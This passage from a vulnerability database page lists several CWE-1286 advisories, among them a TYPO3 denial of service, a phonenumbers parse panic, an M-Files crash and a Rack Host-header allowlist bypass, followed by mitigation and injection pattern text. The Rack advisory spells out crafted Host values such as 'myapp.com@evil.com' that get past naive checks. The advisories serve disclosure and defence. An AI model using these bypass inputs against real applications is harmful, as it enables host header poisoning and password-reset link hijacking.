      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0"
            },
            {
              "fixed": "11.5.40"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.4.45"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.4.46"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-34537"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1286",
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-08T22:18:27Z",
    "nvd_published_at": "2024-10-28T14:15:04Z",
    "severity": "LOW"
  },
  "details": "### Problem\nDue to insufficient input validation, manipulated data saved in the bookmark toolbar of the backend user interface causes a general error state, blocking further access to the interface. Exploiting this vulnerability requires an administrator-level backend user account.\n\n### Solution\nUpdate to TYPO3 versions 10.4.46 ELTS, 11.5.40 LTS, 12.4.21 LTS, 13.3.1 that fix the problem described.\n\n### Credits\nThanks to Hendrik Eichner who reported this issue and to TYPO3 core \u0026 security team members Oliver Hader and Benjamin Franzke who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2024-011](https://typo3.org/security/advisory/typo3-core-sa-2024-001)\n",
  "id": "GHSA-ffcv-v6pw-qhrp",
  "modified": "2024-10-31T19:31:10Z",
  "published": "2024-10-08T22:18:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/TYPO3/typo3/security/advisories/GHSA-ffcv-v6pw-qhrp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34537"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/TYPO3-CMS/backend"
    },
    {
      "type": "WEB",
      "url": "https://typo3.org/security/advisory/typo3-core-sa-2024-011"
    },
    {
      "type": "WEB",
      "url": "https://www.mgm-sp.com/cve/denial-of-service-in-typo3-bookmark-toolbar"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L/E:F/RL:O/RC:C",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Denial of Service in TYPO3 Bookmark Toolbar"
}

GHSA-FMJH-F678-CV3X

Vulnerability from github – Published: 2025-09-27 06:30 – Updated: 2025-09-29 16:29
VLAI
Summary
github.com/nyaruka/phonenumbers Vulnerable to Improper Validation of Syntactic Correctness of Input
Details

Versions of the package github.com/nyaruka/phonenumbers before 1.2.2 are vulnerable to Improper Validation of Syntactic Correctness of Input in the phonenumbers.Parse() function. An attacker can cause a panic by providing crafted input causing a "runtime error: slice bounds out of range".

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/nyaruka/phonenumbers"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-10954"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1286"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-29T16:29:27Z",
    "nvd_published_at": "2025-09-27T05:15:29Z",
    "severity": "MODERATE"
  },
  "details": "Versions of the package github.com/nyaruka/phonenumbers before 1.2.2 are vulnerable to Improper Validation of Syntactic Correctness of Input in the phonenumbers.Parse() function. An attacker can cause a panic by providing crafted input causing a \"runtime error: slice bounds out of range\".",
  "id": "GHSA-fmjh-f678-cv3x",
  "modified": "2025-09-29T16:29:27Z",
  "published": "2025-09-27T06:30:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10954"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nyaruka/phonenumbers/issues/148"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nyaruka/phonenumbers/commit/0479e35488e8a002a261cdb515ef8a7f80ca37fe"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nyaruka/phonenumbers"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMNYARUKAPHONENUMBERS-6084070"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "github.com/nyaruka/phonenumbers Vulnerable to Improper Validation of Syntactic Correctness of Input"
}

GHSA-FP89-4294-45Q3

Vulnerability from github – Published: 2023-08-09 12:30 – Updated: 2024-09-20 12:31
VLAI
Details

An authenticated administrator can upload a SAML configuration file with the wrong format, with the application not checking the correct file format. Every subsequent application request will return an error.

The whole application in rendered unusable until a console intervention.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-23903"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1286",
      "CWE-20"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-09T10:15:09Z",
    "severity": "MODERATE"
  },
  "details": "An authenticated administrator can upload a SAML configuration file with the wrong format, with the application not checking the correct file format. Every subsequent application request will return an error.\n\nThe whole application in rendered unusable until a console intervention.\n\n",
  "id": "GHSA-fp89-4294-45q3",
  "modified": "2024-09-20T12:31:45Z",
  "published": "2023-08-09T12:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23903"
    },
    {
      "type": "WEB",
      "url": "https://security.nozominetworks.com/NN-2023:7-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-G2PF-XV49-M2H5

Vulnerability from github – Published: 2026-04-02 20:36 – Updated: 2026-05-13 16:19
VLAI
Summary
Rack::Request accepts invalid Host characters, enabling host allowlist bypass
Details

Summary

Rack::Request parses the Host header using an AUTHORITY regular expression that accepts characters not permitted in RFC-compliant hostnames, including /, ?, #, and @. Because req.host returns the full parsed value, applications that validate hosts using naive prefix or suffix checks can be bypassed.

For example, a check such as req.host.start_with?("myapp.com") can be bypassed with Host: myapp.com@evil.com, and a check such as req.host.end_with?("myapp.com") can be bypassed with Host: evil.com/myapp.com.

This can lead to host header poisoning in applications that use req.host, req.url, or req.base_url for link generation, redirects, or origin validation.

Details

Rack::Request parses the authority component using logic equivalent to:

AUTHORITY = /
  \A
  (?<host>
    \[(?<address>#{ipv6})\]
    |
    (?<address>[[[:graph:]&&[^\[\]]]]*?)
  )
  (:(?<port>\d+))?
  \z
/x

The character class used for non-IPv6 hosts accepts nearly all printable characters except [ and ]. This includes reserved URI delimiters such as @, /, ?, and #, which are not valid hostname characters under RFC 3986 host syntax.

As a result, values such as the following are accepted and returned through req.host:

myapp.com@evil.com
evil.com/myapp.com
evil.com#myapp.com

Applications that attempt to allowlist hosts using string prefix or suffix checks may therefore treat attacker-controlled hosts as trusted. For example:

req.host.start_with?("myapp.com")

accepts:

myapp.com@evil.com

and:

req.host.end_with?("myapp.com")

accepts:

evil.com/myapp.com

When those values are later used to build absolute URLs or enforce origin restrictions, the application may produce attacker-controlled results.

Impact

Applications that rely on req.host, req.url, or req.base_url may be affected if they perform naive host validation or assume Rack only returns RFC-valid hostnames.

In affected deployments, an attacker may be able to bypass host allowlists and poison generated links, redirects, or origin-dependent security decisions. This can enable attacks such as password reset link poisoning or other host header injection issues.

The practical impact depends on application behavior. If the application or reverse proxy already enforces strict host validation, exploitability may be reduced or eliminated.

Mitigation

  • Update to a patched version of Rack that rejects invalid authority characters in Host.
  • Enforce strict Host header validation at the reverse proxy or load balancer.
  • Do not rely on prefix or suffix string checks such as start_with? or end_with? for host allowlisting.
  • Use exact host allowlists, or exact subdomain boundary checks, after validating that the host is syntactically valid.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0.beta1"
            },
            {
              "fixed": "3.1.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "fixed": "3.2.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34835"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1286"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-02T20:36:40Z",
    "nvd_published_at": "2026-04-02T18:16:33Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`Rack::Request` parses the `Host` header using an `AUTHORITY` regular expression that accepts characters not permitted in RFC-compliant hostnames, including `/`, `?`, `#`, and `@`. Because `req.host` returns the full parsed value, applications that validate hosts using naive prefix or suffix checks can be bypassed.\n\nFor example, a check such as `req.host.start_with?(\"myapp.com\")` can be bypassed with `Host: myapp.com@evil.com`, and a check such as `req.host.end_with?(\"myapp.com\")` can be bypassed with `Host: evil.com/myapp.com`.\n\nThis can lead to host header poisoning in applications that use `req.host`, `req.url`, or `req.base_url` for link generation, redirects, or origin validation.\n\n## Details\n\n`Rack::Request` parses the authority component using logic equivalent to:\n\n```ruby\nAUTHORITY = /\n  \\A\n  (?\u003chost\u003e\n    \\[(?\u003caddress\u003e#{ipv6})\\]\n    |\n    (?\u003caddress\u003e[[[:graph:]\u0026\u0026[^\\[\\]]]]*?)\n  )\n  (:(?\u003cport\u003e\\d+))?\n  \\z\n/x\n```\n\nThe character class used for non-IPv6 hosts accepts nearly all printable characters except `[` and `]`. This includes reserved URI delimiters such as `@`, `/`, `?`, and `#`, which are not valid hostname characters under RFC 3986 host syntax.\n\nAs a result, values such as the following are accepted and returned through `req.host`:\n\n```text\nmyapp.com@evil.com\nevil.com/myapp.com\nevil.com#myapp.com\n```\n\nApplications that attempt to allowlist hosts using string prefix or suffix checks may therefore treat attacker-controlled hosts as trusted. For example:\n\n```ruby\nreq.host.start_with?(\"myapp.com\")\n```\n\naccepts:\n\n```text\nmyapp.com@evil.com\n```\n\nand:\n\n```ruby\nreq.host.end_with?(\"myapp.com\")\n```\n\naccepts:\n\n```text\nevil.com/myapp.com\n```\n\nWhen those values are later used to build absolute URLs or enforce origin restrictions, the application may produce attacker-controlled results.\n\n## Impact\n\nApplications that rely on `req.host`, `req.url`, or `req.base_url` may be affected if they perform naive host validation or assume Rack only returns RFC-valid hostnames.\n\nIn affected deployments, an attacker may be able to bypass host allowlists and poison generated links, redirects, or origin-dependent security decisions. This can enable attacks such as password reset link poisoning or other host header injection issues.\n\nThe practical impact depends on application behavior. If the application or reverse proxy already enforces strict host validation, exploitability may be reduced or eliminated.\n\n## Mitigation\n\n* Update to a patched version of Rack that rejects invalid authority characters in `Host`.\n* Enforce strict `Host` header validation at the reverse proxy or load balancer.\n* Do not rely on prefix or suffix string checks such as `start_with?` or `end_with?` for host allowlisting.\n* Use exact host allowlists, or exact subdomain boundary checks, after validating that the host is syntactically valid.",
  "id": "GHSA-g2pf-xv49-m2h5",
  "modified": "2026-05-13T16:19:21Z",
  "published": "2026-04-02T20:36:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rack/rack/security/advisories/GHSA-g2pf-xv49-m2h5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34835"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rack/rack"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2026-34835.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Rack::Request accepts invalid Host characters, enabling host allowlist bypass"
}

GHSA-G47J-RW3X-MQXV

Vulnerability from github – Published: 2025-10-22 09:30 – Updated: 2025-10-22 09:30
VLAI
Details

A low privileged remote attacker can corrupt the webserver users storage on the device by setting a sequence of unsupported characters which leads to deletion of all previously configured users and the creation of the default Administrator with a known default password.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-41719"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1286"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-22T07:15:33Z",
    "severity": "HIGH"
  },
  "details": "A low privileged remote attacker can corrupt the webserver users storage on the device by setting a sequence of unsupported characters which leads to deletion of all previously configured users and the creation of the default Administrator with a known default password.",
  "id": "GHSA-g47j-rw3x-mqxv",
  "modified": "2025-10-22T09:30:19Z",
  "published": "2025-10-22T09:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41719"
    },
    {
      "type": "WEB",
      "url": "https://sauter.csaf-tp.certvde.com/.well-known/csaf/white/2025/vde-2025-060.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GRX8-C238-5VMR

Vulnerability from github – Published: 2026-01-21 12:30 – Updated: 2026-02-23 12:31
VLAI
Details

Denial-of-service vulnerability in M-Files Server versions before 26.1.15632.3 allows an authenticated attacker with vault administrator privileges to crash the M-Files Server process by calling a vulnerable API endpoint.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-0663"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1286"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-21T11:15:50Z",
    "severity": "MODERATE"
  },
  "details": "Denial-of-service vulnerability in M-Files Server versions before\u00a026.1.15632.3\u00a0allows an authenticated attacker with vault administrator privileges to crash the M-Files Server process by calling a vulnerable API endpoint.",
  "id": "GHSA-grx8-c238-5vmr",
  "modified": "2026-02-23T12:31:29Z",
  "published": "2026-01-21T12:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0663"
    },
    {
      "type": "WEB",
      "url": "https://empower.m-files.com/security-advisories/CVE-2026-0663"
    },
    {
      "type": "WEB",
      "url": "https://product.m-files.com/security-advisories/cve-2026-0663"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
CAPEC-66: SQL Injection

This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input.

CAPEC-676: NoSQL Injection

An adversary targets software that constructs NoSQL statements based on user input or with parameters vulnerable to operator replacement in order to achieve a variety of technical impacts such as escalating privileges, bypassing authentication, and/or executing code.